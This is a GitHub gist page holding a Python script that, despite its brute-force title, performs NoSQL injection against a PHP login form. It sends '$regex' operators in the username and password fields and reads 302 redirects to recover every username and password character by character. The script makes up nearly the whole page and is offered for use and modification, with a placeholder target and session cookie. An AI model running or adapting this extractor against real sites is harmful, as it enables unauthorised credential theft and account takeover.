Created
December 2, 2022 18:56
-
-
Save sevbo2003/69f9f3a4f61a2ba467509ad44b84ce15 to your computer and use it in GitHub Desktop.
Brute-force login usernames and passwords from POST login
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import string | |
url = "http://example.com" | |
headers = {"Host": "exmaple.com"} | |
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"} | |
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ] | |
def get_password(username): | |
print("Extracting password of "+username) | |
params = {"username":username, "password[$regex]":"", "login": "login"} | |
password = "^" | |
while True: | |
for c in possible_chars: | |
params["password[$regex]"] = password + c + ".*" | |
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False) | |
if int(pr.status_code) == 302: | |
password += c | |
break | |
if c == possible_chars[-1]: | |
print("Found password "+password[1:].replace("\\", "")+" for username "+username) | |
return password[1:].replace("\\", "") | |
def get_usernames(): | |
usernames = [] | |
params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"} | |
for c in possible_chars: | |
username = "^" + c | |
params["username[$regex]"] = username + ".*" | |
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False) | |
if int(pr.status_code) == 302: | |
print("Found username starting with "+c) | |
while True: | |
for c2 in possible_chars: | |
params["username[$regex]"] = username + c2 + ".*" | |
if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302: | |
username += c2 | |
print(username) | |
break | |
if c2 == possible_chars[-1]: | |
print("Found username: "+username[1:]) | |
usernames.append(username[1:]) | |
break | |
return usernames | |
for u in get_usernames(): | |
get_password(u) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
This is a simple
script
that you could modify but the previous tools can also do this task.